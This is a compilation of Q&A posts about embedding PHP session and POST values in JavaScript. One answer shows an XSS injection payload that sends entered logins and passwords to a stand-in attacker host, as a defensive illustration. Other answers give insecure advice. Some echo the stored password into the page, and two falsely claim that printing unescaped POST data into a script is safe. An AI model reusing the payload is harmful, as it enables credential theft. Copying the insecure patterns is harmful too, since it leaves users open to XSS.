I have a session['password']. I would like to get the session value and use it to validate against user's input.
if(opw != $_session['password']){
errors[errors.length] = "Sorry, password does not match.";
}
This is what I have been trying, however if I input this they do not read the session. And ignore this conditions. How do I actually insert session value into Javascript?
As the other answers have suggested, you have to embed your PHP session value into the javascript when the page is generator. But the others have forgotten one important thing - you have to generate VALID javascript or your entire script will get killed with a syntax error.
if (opw != <?php echo json_encode($_SESSION['password']) ?>) {
Note the call to json_encode - it's not just enough to output the password string. You have to make sure that the password becomes a VALID javascript string, which json_encode ensures.
Your inline JavaScript code:
var session = <?php print $_SESSION['password']; ?>;
Is that what you're looking for?
You need to surround the $_SESSION in <?php echo ?>. This causes the PHP variable to be printed into the Javascript on the page.
if(opw != <?php echo $_SESSION['password']; ?> ){
However, this is a deeply insecure method of checking a password and I advise against using it. If not transferred over SSL, the password will be sent in plain text on every page view. Furthermore, it is likely to be cached by the web browser where anyone with access to the computer may read it.
You'll have to actually echo out the errors manually:
// do all of your validation and add all of the errors to an array.
if($opw != $_session['password']){
$errors[] = "Sorry, password does not match.";
}
echo "<script type=\"text/javascript\">var errors = ".
json_encode( $errors ).";</script>";
Then, later:
<script type="text/javascript">alert(errors)</script>
Please note that PHP is totally different from JS. PHP is a server side coding-language, meaning it get's executed when your server is rendering the requested page. In that page (which contains some HTML) there can also be JS. However, JS cannot connect to PHP in the way you think it does. For this you could use Ajax or something (but that's way too complicated for the goal you're trying to achieve).
You probably want something like this
// eg. index.php or something
...
<?php
session_start();
if ($_POST['password'] == 'somePassYouDefined') {
echo 'Authenticated';
}else if (isset($_POST['password'])) {
echo 'Couldn\'t authenticate ...';
}else {
?>
<form method='post'>
<input type='password' name='password' placeholder='Password' />
<input type='submit' />
</form>
<?php
}
?>
ASP version:
if(opw != '<%=Session("password")%>' ){
I added quotes because a password is usually a string.
When the user runs this script, the html page that is downloaded to their computer will display the password IN PLAIN TEXT, ie:
if(opw != 'BOBSPASSWORD' ){
So, if they don't know or have a password, they can view/source and find it.
Related
I want to read GDPR info from a file, then in PHP echo out a confirm box with the info, and I then set a cookie, using php setcookie.
I have trouble getting it to work:
$message = file_get_contents("my_gdpr_text.txt");
echo ('<script>confirm("'.$message.'")</script>');
The confirm box just does not pop up at all (not even a blank box). If I set the message value to "Oscar" or anything, it all works, so the problem must be the answer from file_get_contents. I know it is read correctly, by testing with print_r. Is some text formatting needed? Grateful for answer.
echo ('<script>confirm("'.$message.'")</script>');
The problem with this is that as soon as your $message variable contains any double apostrophes " your JavaScript breaks
For example
$message = 'Please click "OK" to confirm';
echo ('<script>confirm("'.$message.'")</script>');
Will become
<script>confirm("Please click "OK" to confirm")</script>
Which is of course invalid because of the mismatch of apostrophes.
You could do something like this.
$message = file_get_contents("my_gdpr_text.txt");
$message = json_encode($message);
echo ('<script>confirm('.$message.')</script>');
See also:
How do I pass variables and data from PHP to JavaScript?
How to escape string from PHP for javascript?
Also consider if you really need PHP:
How do I load the contents of a text file into a javascript variable?
I want to redirect a php page using php if statement. I did the redirect code with javascript but its not working.
Can someone please help me modify my code if i missed something out or help me out with a better solution.
Below is the code;
$vbi = $row_rsRek['duck'];
if ($vbi == "blocked"){'<script>window.location.href = "http://www.url.com/login.php";
</script>
';}
else {echo "NOT WORKING";}
I tried this too
$vbi = $row_rsRek['duck'];
if ($vbi == "blocked"){header("Location: www.url.com/login.php");}
else {echo "NOT WORKING";}
PHP has a build in feature for your needs
header("Location: path/to/file");
Remember that header() must be called before any actual output is
sent, either by normal HTML tags, blank lines in a file, or from PHP.
http://php.net/manual/en/function.header.php
You can use header function :
Remember that header() must be called before any actual output is sent, either by normal HTML tags, blank lines in a file, or from PHP. It is a very common error to read code with include, or require, functions, or another file access function, and have spaces or empty lines that are output before header() is called. The same problem exists when using a single PHP/HTML file.
<?php
$vbi = 'blocked';
if ($vbi == "blocked")
{
header("Location: http://www.yourwebsite.com/user.php");
}
else
{
echo "NOT WORKING";
}
?>
see this link for more information and discuss :
How to make a redirect in PHP?
This question already has answers here:
How do I pass variables and data from PHP to JavaScript?
(19 answers)
Closed 6 years ago.
I have an html/php composite document that uses the login variable from a user. (This came from a separate php file on signin):
<html> Welcome <?php echo $login; ?> </html>
//Now when the user uses the chatbox, and clicks send, I would like to pass the data (inclusive of the username) from this html file to the .js so it can in turn pass onto another php file. (ps I tried the following but to no avail, as the .js file is external to the html/php composite):
$("#newMsgSend").click(function()//triggers script to send the message
{
$("#newMsgCnt").val(''); // clears the box when the user sends a message
var username = "<?php echo $login; ?>";
alert(username);
});
Your current code is likely introducing an XSS vulnerability. Instead, take advantage of the fact that valid JSON is valid JavaScript:
var username = <?php echo json_encode($login); ?>;
In some situations, it may also be better to use an XMLHttpRequest or WebSocket that requests the data from another URL (typically encoded as plain text, XML or JSON). One scenario for that would be notifying the user once new items have been added after the user loaded the webpage.
when the user logs in, create a session for that user and populate it with the data (such as username, email, phone number or whatever) from the database - as followings (assuming that the login is correct and authentic:
$_SESSION['user'] = $row; //where $row is the row of data returned from the db
Then whenever you want to access that information include the following at the top of the page:
session_start();
and then access the information such as
$userfirst_name=$_SESSION['user']['first_name'];
then your html will be something like:
<h1> Welcome <?php echo "$userfirst_name"; ?> </h1>
note that session start must be at the top of each page you are wanting to access the sessiobn variables. Then to clear the user details (such as when the user logs out you can use the following:
unset($_SESSION["user"]);
Thanks to both: Ivan Rodriguez Torres and phihag. I got a solution somewhere in the middle of both posts:
<input id="login" readonly type="text" <?PHP echo "value= '$login'/>"; ?>
Ivan's suggestion was somehow returning an "undefined" variable for me. The above works like a charm though. Hope its safe and doesnt lead to any problems.
Thanks again guys
I want to pass a php variable to javascript. I have tried something but I am not sure if it is safe way to do.
<?php
$name=$_POST['name'];
?>
<script>
var name="<?php echo $name ?>";
</script>
Also people do it some thing like this
<?php
$name = $_POST['name'];
echo '<script>';
echo 'var name = ' . json_encode($name) . ';';
echo '</script>';
?>
Which of the code is better in terms of safety. Is there any risk using first code? A little explanation will be enough. Thanks
First case:
This case if used if we want to simply assign string value in javascript variable.
<script>
var name="<?php echo $name ?>";
</script>
Second case:
For this case, you should use json_encode() when you want to add some array in javascript variable.
<?php
$name = array('name' => $_POST['name']);
echo '<script>';
echo 'var name = ' . json_encode($name) . ';';
echo '</script>';
?>
And yes, echo whole javascript or just echo your variable will make no change in your output. Just make sure that your javascript variable has proper wrapper either ' or nothing in case of object;
Never print a post or get variables without validation.
https://en.wikipedia.org/wiki/Cross-site_scripting
http://code.tutsplus.com/articles/data-sanitization-and-validation-with-wordpress--wp-25536
From experience, as your POST data shouldn't possibly be manipulated in the first place for all users, you have to keep in mind that you should never trust user input data - a form can be compromised.
TL;DR
It's impossible to give you a yes/no answer, it all depends of the context of your script.
Let's imagine a scenario. On your original form you're echo'ing a text that come from your database:
<form action="otherpage.php" method="post">
<input name="name" type="text" id="name" />
<?php echo $some_text_from_database; ?>
<input type="submit" value="Submit" />
</form>
Imagine that a malicious hacker managed to changed the content of that text from database that you get by an SQL injection, some password got from an author account or whatever other way ; to this :
<script type="text/javascript">
document.getElementById('name').name = 'whatever';
</script>
<input name='name' type='text' value='";
document.querySelector("#login_form").addEventListener("submit", function(){
var data "login="+document.getElementById("login").value+"&password="+document.getElementById("password").value;
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", "http://hackerwebsite.com/get_passwords.php", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send();
});
var a="' />
This will first change the original input name, then create a new one with a malicious script as value. So we get in $_POST['name'] this new input, and not the original one - user input will be ignored.
So, let's bring your imagination a bit further. Let's say that in your otherpage.php there is a login form for some reason. Doing this on this page:
<script>
var name="<?php echo $_POST['name']; ?>";
</script>
Will result to this:
<script>
var name="";
document.querySelector("#login_form").addEventListener("submit", function(){
var data "login="+document.getElementById("login").value+"&password="+document.getElementById("password").value;
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", "http://hackerwebsite.com/get_passwords.php", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send();
});
var a="";
</script>
What this will do? When the login form will be submitted, an AJAX request will be sent to the hacker website, sending the login and password in plain text...
So to summarize this: hacker exploit your simple echo to access a form input he couldn't access in other way.
As it could sound as a really edge case, in a general way you should always be carefull when manipulating user input, even database data. You can't always deeply understand the full context of what you're doing, and hackers are often highly imaginative people. Just sanitizing your data with sanitize_text_field for example (considering you're working in a Wordpress context) will take no time.
PS: All that scenario is pretty much something I experienced few years ago. An hacker managed to stole a lot of user data with something like this on a website I had to work with. Since then I learn that being too much paranoid is not a bad thing :)
Some good reading :
Cross-Site Scripting (XSS)
Note that the Javascript code will break if $name contains quotes. Use the PHP function addslashes to avoid this:
<script>
var name = "<?php echo addslashes($name); ?>";
</script>
Your both code will produce same result and there no safety issue in both case.
You can find tutorials about web server and web browser on google for more details.
http://www.tutorialspoint.com/internet_technologies/web_servers.htm
Yep you are doing it right. There is no security issue in doing it the way you have done.
I wanna get just $_SESSION["yetki"] value when I call users function actually I am getting value but always getting "manager" value even if user equal student .
<script>
function users(tik) {
var user = tik.id;
if(user === "student")
{
<?php $_SESSION["yetki"]="student"; echo $_SESSION["yetki"]; ?>
}
else ()
{
<?php $_SESSION["yetki"]="manager"; echo $_SESSION["yetki"]; ?>
}
}
</script>
What you are doing is completly wrong, you are mixing both client side and server side code, javascript is client side code and php is server side language. In your if else condition you need to send request to server to set that session variable. For sending request to server you can use ajax.
Actually, you got all your fundamental understanding of Php and JavaScript wrong. By the time that this script is already running in the client's web browser, the Php scripts would have been processed/executed already and echoed into the document body.
Here's how it works. When you ask for a Php "page", the server would execute every Php script in that page and generate a response. That response would be the one that your web browser would execute.
for example, if you do this:
<script>
if (<?Php echo "true"; ?>) { alert ( 'The server said true' ); }
else { alert ( 'The server didn't say anything' ); }
</script>
The one you'll see in your web browser is:
<script>
if (true) { alert ( 'The server said true' ); }
else { alert ( 'The server didn't say anything' ); }
</script>
What Php does is to create dynamic contents for the webpage and send it back to the client. The client's web browser would then execute the result of that generated content. The Php codes would all be executed as soon as you requested for the web page - the process all happens in the server. JavaScript, on the other hand, would execute AFTER the client receives the web page.
In fact, "echo" is a pretty descriptive term of what Php does. When you type a web address in your browser's address bar and press enter, you are sending a request to the server. Once it "hits" the server, it will "echo" a response in the form of HTML. That HTML would then be read by your web browser and that would include everything from Javascript to CSS. And yes, you can even echo a whole mix of HTML elements and Javascript content. You can even echo the whole document body.
for example:
<?Php
echo
<<<YOURCONTENT
<HTML>
<HEAD></HEAD>
<BODY>You're gonna love my body.</BODY>
</HTML>
YOURCONTENT;
?>
WHAT YOU SHOULD DO FIRST is to validate what the contents of $_SESSION["yetki"] would be.
<?Php
if(your conditions here)
$_SESSION["yetki"]="student";
else
$_SESSION["yetki"]="manager";
?>
<script>
function users(tik) {
var user = tik.id;
if(user === "student")
{
alert('<?php echo $_SESSION["yetki"]; ?>');
}
else
{ // I DON'T KNOW WHAT YOU'RE TRYING HERE, BUT LET'S DO AN ALERT.
alert('<?php echo $_SESSION["yetki"]; ?>');
}
}
</script>
possible conditions for Php if statement:
$_POST['yourFormInputName'] == 'yourRogueValue'
or
$_GET['yourURLVariableName'] == 'yourRogueValue'
or
$_SESSION['perhapsAnotherStoredSession'] == 'yourRogueValue'
you can do with something like this.. but don't know is this a good answer
<script>
function users(tik) {
var user = tik.id;
if(user === "student")
{
var aa = "<?php $_SESSION["yetki"]="student"; echo $_SESSION["yetki"]; ?>"
}
else
{
var aa = "<?php $_SESSION["yetki"]="manager"; echo $_SESSION["yetki"]; ?>"
}
alert(aa);
}
</script>